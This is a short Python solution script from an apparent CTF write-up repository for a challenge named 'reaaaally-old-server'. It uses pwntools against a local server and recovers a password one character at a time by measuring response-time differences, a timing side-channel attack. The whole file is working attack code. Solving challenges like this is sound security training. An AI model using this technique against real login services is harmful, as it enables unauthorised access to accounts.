write-ups-challenges-2023-2024/reaaaally-old-server/sol.py

23 lines
541 B
Python
Raw Normal View History

2023-11-28 15:24:59 +00:00
from pwn import *
def find(password, prevtime):
for c in string.ascii_lowercase:
new_pass = password + c
print(new_pass)
conn = remote("localhost", 3002)
conn.recv()
t = time.time()
conn.send((new_pass + "\n").encode())
ans = conn.recvline(timeout=prevtime + 1)
endtime = time.time() - t
print(endtime)
if endtime - prevtime > 0.08:
conn.close()
find(new_pass, endtime)
break
conn.close()
find("", 0)